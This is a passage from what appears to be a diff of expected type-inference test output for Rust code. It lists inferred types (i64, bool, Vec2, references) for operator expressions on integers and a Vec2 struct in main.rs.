bool | +| main.rs:1521:13:1521:16 | self | | file://:0:0:0:0 | & | +| main.rs:1521:13:1521:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1521:13:1521:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1521:13:1521:28 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1521:13:1521:48 | ... && ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1521:22:1521:26 | other | | file://:0:0:0:0 | & | +| main.rs:1521:22:1521:26 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1521:22:1521:28 | other.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1521:33:1521:36 | self | | file://:0:0:0:0 | & | +| main.rs:1521:33:1521:36 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1521:33:1521:38 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1521:33:1521:48 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1521:42:1521:46 | other | | file://:0:0:0:0 | & | +| main.rs:1521:42:1521:46 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1521:42:1521:48 | other.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1524:15:1524:19 | SelfParam | | file://:0:0:0:0 | & | +| main.rs:1524:15:1524:19 | SelfParam | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1524:22:1524:26 | other | | file://:0:0:0:0 | & | +| main.rs:1524:22:1524:26 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1524:44:1526:9 | { ... } | | {EXTERNAL LOCATION} | bool | +| main.rs:1525:13:1525:16 | self | | file://:0:0:0:0 | & | +| main.rs:1525:13:1525:16 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1525:13:1525:18 | self.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1525:13:1525:29 | ... >= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1525:13:1525:50 | ... && ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1525:23:1525:27 | other | | file://:0:0:0:0 | & | +| main.rs:1525:23:1525:27 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1525:23:1525:29 | other.x | | {EXTERNAL LOCATION} | i64 | +| main.rs:1525:34:1525:37 | self | | file://:0:0:0:0 | & | +| main.rs:1525:34:1525:37 | self | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1525:34:1525:39 | self.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1525:34:1525:50 | ... >= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1525:44:1525:48 | other | | file://:0:0:0:0 | & | +| main.rs:1525:44:1525:48 | other | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1525:44:1525:50 | other.y | | {EXTERNAL LOCATION} | i64 | +| main.rs:1532:13:1532:18 | i64_eq | | {EXTERNAL LOCATION} | bool | +| main.rs:1532:22:1532:35 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1532:23:1532:26 | 1i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1532:23:1532:34 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1532:31:1532:34 | 2i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1533:13:1533:18 | i64_ne | | {EXTERNAL LOCATION} | bool | +| main.rs:1533:22:1533:35 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1533:23:1533:26 | 3i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1533:23:1533:34 | ... != ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1533:31:1533:34 | 4i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1534:13:1534:18 | i64_lt | | {EXTERNAL LOCATION} | bool | +| main.rs:1534:22:1534:34 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1534:23:1534:26 | 5i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1534:23:1534:33 | ... < ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1534:30:1534:33 | 6i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1535:13:1535:18 | i64_le | | {EXTERNAL LOCATION} | bool | +| main.rs:1535:22:1535:35 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1535:23:1535:26 | 7i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1535:23:1535:34 | ... <= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1535:31:1535:34 | 8i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1536:13:1536:18 | i64_gt | | {EXTERNAL LOCATION} | bool | +| main.rs:1536:22:1536:35 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1536:23:1536:26 | 9i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1536:23:1536:34 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1536:30:1536:34 | 10i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1537:13:1537:18 | i64_ge | | {EXTERNAL LOCATION} | bool | +| main.rs:1537:22:1537:37 | (...) | | {EXTERNAL LOCATION} | bool | +| main.rs:1537:23:1537:27 | 11i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1537:23:1537:36 | ... >= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1537:32:1537:36 | 12i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1540:13:1540:19 | i64_add | | {EXTERNAL LOCATION} | i64 | +| main.rs:1540:23:1540:27 | 13i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1540:23:1540:35 | ... + ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1540:31:1540:35 | 14i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1541:13:1541:19 | i64_sub | | {EXTERNAL LOCATION} | i64 | +| main.rs:1541:23:1541:27 | 15i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1541:23:1541:35 | ... - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1541:31:1541:35 | 16i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1542:13:1542:19 | i64_mul | | {EXTERNAL LOCATION} | i64 | +| main.rs:1542:23:1542:27 | 17i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1542:23:1542:35 | ... * ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1542:31:1542:35 | 18i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1543:13:1543:19 | i64_div | | {EXTERNAL LOCATION} | i64 | +| main.rs:1543:23:1543:27 | 19i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1543:23:1543:35 | ... / ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1543:31:1543:35 | 20i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1544:13:1544:19 | i64_rem | | {EXTERNAL LOCATION} | i64 | +| main.rs:1544:23:1544:27 | 21i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1544:23:1544:35 | ... % ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1544:31:1544:35 | 22i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1547:13:1547:30 | mut i64_add_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1547:34:1547:38 | 23i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1548:9:1548:22 | i64_add_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1548:9:1548:31 | ... += ... | | file://:0:0:0:0 | () | +| main.rs:1548:27:1548:31 | 24i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1550:13:1550:30 | mut i64_sub_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1550:34:1550:38 | 25i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1551:9:1551:22 | i64_sub_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1551:9:1551:31 | ... -= ... | | file://:0:0:0:0 | () | +| main.rs:1551:27:1551:31 | 26i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1553:13:1553:30 | mut i64_mul_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1553:34:1553:38 | 27i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1554:9:1554:22 | i64_mul_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1554:9:1554:31 | ... *= ... | | file://:0:0:0:0 | () | +| main.rs:1554:27:1554:31 | 28i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1556:13:1556:30 | mut i64_div_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1556:34:1556:38 | 29i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1557:9:1557:22 | i64_div_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1557:9:1557:31 | ... /= ... | | file://:0:0:0:0 | () | +| main.rs:1557:27:1557:31 | 30i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1559:13:1559:30 | mut i64_rem_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1559:34:1559:38 | 31i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1560:9:1560:22 | i64_rem_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1560:9:1560:31 | ... %= ... | | file://:0:0:0:0 | () | +| main.rs:1560:27:1560:31 | 32i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1563:13:1563:22 | i64_bitand | | {EXTERNAL LOCATION} | i64 | +| main.rs:1563:26:1563:30 | 33i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1563:26:1563:38 | ... & ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1563:34:1563:38 | 34i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1564:13:1564:21 | i64_bitor | | {EXTERNAL LOCATION} | i64 | +| main.rs:1564:25:1564:29 | 35i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1564:25:1564:37 | ... \| ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1564:33:1564:37 | 36i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1565:13:1565:22 | i64_bitxor | | {EXTERNAL LOCATION} | i64 | +| main.rs:1565:26:1565:30 | 37i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1565:26:1565:38 | ... ^ ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1565:34:1565:38 | 38i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1566:13:1566:19 | i64_shl | | {EXTERNAL LOCATION} | i64 | +| main.rs:1566:23:1566:27 | 39i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1566:23:1566:36 | ... << ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1566:32:1566:36 | 40i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1567:13:1567:19 | i64_shr | | {EXTERNAL LOCATION} | i64 | +| main.rs:1567:23:1567:27 | 41i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1567:23:1567:36 | ... >> ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1567:32:1567:36 | 42i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1570:13:1570:33 | mut i64_bitand_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1570:37:1570:41 | 43i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1571:9:1571:25 | i64_bitand_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1571:9:1571:34 | ... &= ... | | file://:0:0:0:0 | () | +| main.rs:1571:30:1571:34 | 44i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1573:13:1573:32 | mut i64_bitor_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1573:36:1573:40 | 45i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1574:9:1574:24 | i64_bitor_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1574:9:1574:33 | ... \|= ... | | file://:0:0:0:0 | () | +| main.rs:1574:29:1574:33 | 46i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1576:13:1576:33 | mut i64_bitxor_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1576:37:1576:41 | 47i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1577:9:1577:25 | i64_bitxor_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1577:9:1577:34 | ... ^= ... | | file://:0:0:0:0 | () | +| main.rs:1577:30:1577:34 | 48i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1579:13:1579:30 | mut i64_shl_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1579:34:1579:38 | 49i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1580:9:1580:22 | i64_shl_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1580:9:1580:32 | ... <<= ... | | file://:0:0:0:0 | () | +| main.rs:1580:28:1580:32 | 50i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1582:13:1582:30 | mut i64_shr_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1582:34:1582:38 | 51i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1583:9:1583:22 | i64_shr_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1583:9:1583:32 | ... >>= ... | | file://:0:0:0:0 | () | +| main.rs:1583:28:1583:32 | 52i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1585:13:1585:19 | i64_neg | | {EXTERNAL LOCATION} | i64 | +| main.rs:1585:23:1585:28 | - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1585:24:1585:28 | 53i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1586:13:1586:19 | i64_not | | {EXTERNAL LOCATION} | i64 | +| main.rs:1586:23:1586:28 | ! ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1586:24:1586:28 | 54i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1589:13:1589:14 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1589:18:1589:36 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1589:28:1589:28 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1589:28:1589:28 | 1 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1589:34:1589:34 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1589:34:1589:34 | 2 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1590:13:1590:14 | v2 | | file://:0:0:0:0 | & | +| main.rs:1590:13:1590:14 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1590:13:1590:14 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1590:18:1590:36 | Vec2 {...} | | file://:0:0:0:0 | & | +| main.rs:1590:18:1590:36 | Vec2 {...} | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1590:18:1590:36 | Vec2 {...} | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1590:28:1590:28 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1590:28:1590:28 | 3 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1590:34:1590:34 | 4 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1590:34:1590:34 | 4 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1593:13:1593:19 | vec2_eq | | {EXTERNAL LOCATION} | bool | +| main.rs:1593:23:1593:24 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1593:23:1593:30 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1593:29:1593:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1593:29:1593:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1593:29:1593:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1594:13:1594:19 | vec2_ne | | {EXTERNAL LOCATION} | bool | +| main.rs:1594:23:1594:24 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1594:23:1594:30 | ... != ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1594:29:1594:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1594:29:1594:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1594:29:1594:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1595:13:1595:19 | vec2_lt | | {EXTERNAL LOCATION} | bool | +| main.rs:1595:23:1595:24 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1595:23:1595:29 | ... < ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1595:28:1595:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1595:28:1595:29 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1595:28:1595:29 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1596:13:1596:19 | vec2_le | | {EXTERNAL LOCATION} | bool | +| main.rs:1596:23:1596:24 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1596:23:1596:30 | ... <= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1596:29:1596:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1596:29:1596:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1596:29:1596:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1597:13:1597:19 | vec2_gt | | {EXTERNAL LOCATION} | bool | +| main.rs:1597:23:1597:24 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1597:23:1597:29 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1597:28:1597:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1597:28:1597:29 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1597:28:1597:29 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1598:13:1598:19 | vec2_ge | | {EXTERNAL LOCATION} | bool | +| main.rs:1598:23:1598:24 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1598:23:1598:30 | ... >= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1598:29:1598:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1598:29:1598:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1598:29:1598:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1601:13:1601:20 | vec2_add | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1601:24:1601:25 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1601:24:1601:30 | ... + ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1601:29:1601:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1601:29:1601:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1601:29:1601:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1602:13:1602:20 | vec2_sub | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1602:24:1602:25 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1602:24:1602:30 | ... - ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1602:29:1602:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1602:29:1602:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1602:29:1602:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1603:13:1603:20 | vec2_mul | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1603:24:1603:25 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1603:24:1603:30 | ... * ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1603:29:1603:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1603:29:1603:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1603:29:1603:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1604:13:1604:20 | vec2_div | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1604:24:1604:25 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1604:24:1604:30 | ... / ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1604:29:1604:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1604:29:1604:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1604:29:1604:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1605:13:1605:20 | vec2_rem | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1605:24:1605:25 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1605:24:1605:30 | ... % ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1605:29:1605:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1605:29:1605:30 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1605:29:1605:30 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1608:13:1608:31 | mut vec2_add_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1608:35:1608:36 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1609:9:1609:23 | vec2_add_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1609:9:1609:29 | ... += ... | | file://:0:0:0:0 | () | +| main.rs:1609:28:1609:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1609:28:1609:29 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1609:28:1609:29 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1611:13:1611:31 | mut vec2_sub_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1611:35:1611:36 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1612:9:1612:23 | vec2_sub_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1612:9:1612:29 | ... -= ... | | file://:0:0:0:0 | () | +| main.rs:1612:28:1612:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1612:28:1612:29 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1612:28:1612:29 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1614:13:1614:31 | mut vec2_mul_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1614:35:1614:36 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1615:9:1615:23 | vec2_mul_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1615:9:1615:29 | ... *= ... | | file://:0:0:0:0 | () | +| main.rs:1615:28:1615:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1615:28:1615:29 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1615:28:1615:29 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1617:13:1617:31 | mut vec2_div_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1617:35:1617:36 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1618:9:1618:23 | vec2_div_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1618:9:1618:29 | ... /= ... | | file://:0:0:0:0 | () | +| main.rs:1618:28:1618:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1618:28:1618:29 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1618:28:1618:29 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1620:13:1620:31 | mut vec2_rem_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1620:35:1620:36 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1621:9:1621:23 | vec2_rem_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1621:9:1621:29 | ... %= ... | | file://:0:0:0:0 | () | +| main.rs:1621:28:1621:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1621:28:1621:29 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1621:28:1621:29 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1624:13:1624:23 | vec2_bitand | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1624:27:1624:28 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1624:27:1624:33 | ... & ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1624:32:1624:33 | v2 | | file://:0:0:0:0 | & | +| main.rs:1624:32:1624:33 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1624:32:1624:33 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1625:13:1625:22 | vec2_bitor | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1625:26:1625:27 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1625:26:1625:32 | ... \| ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1625:31:1625:32 | v2 | | file://:0:0:0:0 | & | +| main.rs:1625:31:1625:32 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1625:31:1625:32 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1626:13:1626:23 | vec2_bitxor | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1626:27:1626:28 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1626:27:1626:33 | ... ^ ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1626:32:1626:33 | v2 | | file://:0:0:0:0 | & | +| main.rs:1626:32:1626:33 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1626:32:1626:33 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1627:13:1627:20 | vec2_shl | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1627:24:1627:25 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1627:24:1627:33 | ... << ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1627:30:1627:33 | 1u32 | | {EXTERNAL LOCATION} | u32 | +| main.rs:1628:13:1628:20 | vec2_shr | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1628:24:1628:25 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1628:24:1628:33 | ... >> ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1628:30:1628:33 | 1u32 | | {EXTERNAL LOCATION} | u32 | +| main.rs:1631:13:1631:34 | mut vec2_bitand_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1631:38:1631:39 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1632:9:1632:26 | vec2_bitand_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1632:9:1632:32 | ... &= ... | | file://:0:0:0:0 | () | +| main.rs:1632:31:1632:32 | v2 | | file://:0:0:0:0 | & | +| main.rs:1632:31:1632:32 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1632:31:1632:32 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1634:13:1634:33 | mut vec2_bitor_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1634:37:1634:38 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1635:9:1635:25 | vec2_bitor_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1635:9:1635:31 | ... \|= ... | | file://:0:0:0:0 | () | +| main.rs:1635:30:1635:31 | v2 | | file://:0:0:0:0 | & | +| main.rs:1635:30:1635:31 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1635:30:1635:31 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1637:13:1637:34 | mut vec2_bitxor_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1637:38:1637:39 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1638:9:1638:26 | vec2_bitxor_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1638:9:1638:32 | ... ^= ... | | file://:0:0:0:0 | () | +| main.rs:1638:31:1638:32 | v2 | | file://:0:0:0:0 | & | +| main.rs:1638:31:1638:32 | v2 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1638:31:1638:32 | v2 | &T | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1640:13:1640:31 | mut vec2_shl_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1640:35:1640:36 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1641:9:1641:23 | vec2_shl_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1641:9:1641:32 | ... <<= ... | | file://:0:0:0:0 | () | +| main.rs:1641:29:1641:32 | 1u32 | | {EXTERNAL LOCATION} | u32 | +| main.rs:1643:13:1643:31 | mut vec2_shr_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1643:35:1643:36 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1644:9:1644:23 | vec2_shr_assign | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1644:9:1644:32 | ... >>= ... | | file://:0:0:0:0 | () | +| main.rs:1644:29:1644:32 | 1u32 | | {EXTERNAL LOCATION} | u32 | +| main.rs:1647:13:1647:20 | vec2_neg | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1647:24:1647:26 | - ... | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1647:25:1647:26 | v1 | | main.rs:1297:5:1302:5 | Vec2 | +| main.rs:1648:13:1648:20 | vec2_not | | 